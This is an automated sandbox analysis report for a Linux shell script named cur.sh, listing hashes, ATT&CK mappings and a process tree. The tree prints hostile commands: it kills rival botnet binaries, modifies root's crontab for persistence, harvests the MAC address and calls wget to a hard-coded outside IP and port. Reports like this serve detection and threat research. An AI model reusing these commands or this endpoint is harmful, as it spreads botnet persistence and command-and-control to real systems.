2d3dcbeffb68ab8d4f0ada8a907d435852c7d2c8a19feed18441274c2f7b9648

Analysis

max time kernel
0s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/10/2026, 18:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cur.sh
Size 7KB
Sample261002-xmmsgax15j
SHA256 2d3dcbeffb68ab8d4f0ada8a907d435852c7d2c8a19feed18441274c2f7b9648
MD5 300d70c24a3f36848f7f9e212e5eaa8b
SHA1 88371cf3312027c78eb17715f398daad045a3bfb
SHA512 b13689a0a6ac68f7d05f672fb321d4f1571959844b342f62326ee87ff16119224128b10a8fa80576d820987c5c273a5b5d65d71b8cfe10766d855c417e75d421
SSDEEP 96:tbAfL58OZyrQH/Wg6PI6NVpmpEckSCBzIprU9xrLrqDN1SjaGBjA5eZj33PMjH:NyV8OZB1T6NHSCkUL3q3BuPi
TLSH
T1BEF13FF9F620C635B80DC63DF659A5928E83987F06B87B60B44BEC28361C54C712E676
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	cur.sh

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1088/stat	killall
File opened for reading	/proc/26/stat	killall
File opened for reading	/proc/1098/stat	killall
File opened for reading	/proc/522/stat	killall
File opened for reading	/proc/960/stat	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/1083/stat	killall
File opened for reading	/proc/1413/stat	killall
File opened for reading	/proc/79/stat	killall
File opened for reading	/proc/1065/cmdline	killall
File opened for reading	/proc/1109/stat	killall
File opened for reading	/proc/1381/cmdline	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/1074/stat	killall
File opened for reading	/proc/553/stat	killall
File opened for reading	/proc/175/stat	killall
File opened for reading	/proc/941/stat	killall
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/137/stat	killall
File opened for reading	/proc/175/stat	killall
File opened for reading	/proc/994/stat	killall
File opened for reading	/proc/30/stat	killall
File opened for reading	/proc/181/stat	killall
File opened for reading	/proc/452/stat	killall
File opened for reading	/proc/212/stat	killall
File opened for reading	/proc/32/stat	killall
File opened for reading	/proc/511/stat	killall
File opened for reading	/proc/553/stat	killall
File opened for reading	/proc/34/stat	killall
File opened for reading	/proc/1372/cmdline	killall
File opened for reading	/proc/454/stat	killall
File opened for reading	/proc/512/stat	killall
File opened for reading	/proc/251/cmdline	killall
File opened for reading	/proc/1103/stat	killall
File opened for reading	/proc/1413/stat	killall
File opened for reading	/proc/1079/cmdline	killall
File opened for reading	/proc/181/stat	killall
File opened for reading	/proc/31/stat	killall
File opened for reading	/proc/1074/stat	killall
File opened for reading	/proc/1191/cmdline	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/1079/cmdline	killall
File opened for reading	/proc/86/stat	killall
File opened for reading	/proc/1208/stat	killall
File opened for reading	/proc/79/cmdline	killall
File opened for reading	/proc/1000/stat	killall
File opened for reading	/proc/941/cmdline	killall
File opened for reading	/proc/82/stat	killall
File opened for reading	/proc/1208/stat	killall
File opened for reading	/proc/1124/stat	killall
File opened for reading	/proc/933/stat	killall
File opened for reading	/proc/1381/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/941/stat	killall
File opened for reading	/proc/182/stat	killall
File opened for reading	/proc/84/stat	killall
File opened for reading	/proc/512/stat	killall
File opened for reading	/proc/1083/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/1343/stat	killall
File opened for reading	/proc/329/stat	killall
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/1083/stat	killall

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1521	killall
1537	killall
1557	ip

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.xmN	touch

/tmp/cur.sh
/tmp/cur.sh
1⤵
- Creates/modifies Cron job
PID:1515
- /usr/bin/tr
  tr -cd 0-9
  2⤵
  PID:1518
- /usr/bin/wc
  wc -c
  2⤵
  PID:1517
- /usr/bin/killall
  killall -9 robben
  2⤵
  - Reads runtime system information
  PID:1519
- /usr/bin/killall
  killall -9 net.x86
  2⤵
  PID:1520
- /usr/bin/killall
  killall -9 net.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1521
- /usr/bin/killall
  killall -9 net.arm
  2⤵
  - Reads runtime system information
  PID:1522
- /usr/bin/killall
  killall -9 net.arm5
  2⤵
  - Reads runtime system information
  PID:1523
- /usr/bin/killall
  killall -9 net.arm6
  2⤵
  - Reads runtime system information
  PID:1526
- /usr/bin/killall
  killall -9 net.arm7
  2⤵
  - Reads runtime system information
  PID:1527
- /usr/bin/killall
  killall -9 net.mpsl
  2⤵
  - Reads runtime system information
  PID:1528
- /usr/bin/killall
  killall -9 net.ppc
  2⤵
  PID:1531
- /usr/bin/killall
  killall -9 net.m68k
  2⤵
  - Reads runtime system information
  PID:1532
- /usr/bin/killall
  killall -9 net.sh4
  2⤵
  - Reads runtime system information
  PID:1533
- /usr/bin/killall
  killall -9 net.i486
  2⤵
  - Reads runtime system information
  PID:1534
- /usr/bin/killall
  killall -9 net.i686
  2⤵
  - Reads runtime system information
  PID:1535
- /usr/bin/killall
  killall -9 px86
  2⤵
  - Reads runtime system information
  PID:1536
- /usr/bin/killall
  killall -9 pmips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1537
- /usr/bin/killall
  killall -9 parm
  2⤵
  - Reads runtime system information
  PID:1538
- /usr/bin/killall
  killall -9 hajime
  2⤵
  - Reads runtime system information
  PID:1540
- /usr/bin/killall
  killall -9 sora
  2⤵
  - Reads runtime system information
  PID:1541
- /usr/sbin/cron
  /usr/sbin/cron
  2⤵
  PID:1544
- /usr/bin/cron
  /usr/bin/cron
  2⤵
  PID:1545
- /usr/bin/killall
  killall -1 crond
  2⤵
  PID:1546
- /usr/bin/killall
  killall -1 cron
  2⤵
  - Reads runtime system information
  PID:1548
- /usr/bin/touch
  touch /tmp/.xmN
  2⤵
  - Writes file to tmp directory
  PID:1549
- /usr/bin/tr
  tr -d :
  2⤵
  PID:1555
- /usr/bin/head
  head -1
  2⤵
  PID:1554
- /bin/grep
  grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
  2⤵
  PID:1553
- /bin/grep
  grep -iE "hwaddr|ether"
  2⤵
  PID:1552
- /bin/grep
  grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
  2⤵
  PID:1559
- /usr/bin/head
  head -1
  2⤵
  PID:1560
- /usr/bin/tr
  tr -d :
  2⤵
  PID:1561
- /bin/grep
  grep -iE link/ether
  2⤵
  PID:1558
- /sbin/ip
  ip addr show
  2⤵
  - System Network Configuration Discovery
  PID:1557
- /usr/bin/wget
  wget -q -O - http://94.154.43.203:8080/lease-xme628dcb8cb70
  2⤵
  PID:1562
- /bin/cat
  cat /tmp/.xmver
  2⤵
  PID:1564
- /usr/bin/killall
  killall -9 xm
  2⤵
  - Reads runtime system information
  PID:1565
- /usr/bin/killall
  killall -9 .sd
  2⤵
  - Reads runtime system information
  PID:1566
- /bin/rm
  rm -f /tmp/.xmN
  2⤵
  PID:1567

/usr/bin/wget
wget -q -O /dev/null http://94.154.43.203:8080/skip-xme628dcb8cb70-v20
1⤵
PID:1568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

root

Path /var/spool/cron/crontabs/root
Size 88B
SHA256 daa55b680d452f0bde4dfb4433d4ae26395e58bdf8dba0a8925d94a447936a7d
MD5 1faecacdff4e77aa696e38941020dcd6
SHA1 0fbb6db7b532a15fb42aebdf2416c0869882cf4f
SHA512 a4deba406ae0a6b1d38ec60877f4a1d76e9ee527b9baa5e76fc00c9bb566163b1666f47d11870a867e7b1233e295a5e004215a7460dc18e148f6a02602d6c0dc
TLSH
T1AFB012E016001A300141D2243212A8A06107E0C0051309B9546E0C04285D713B614540
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads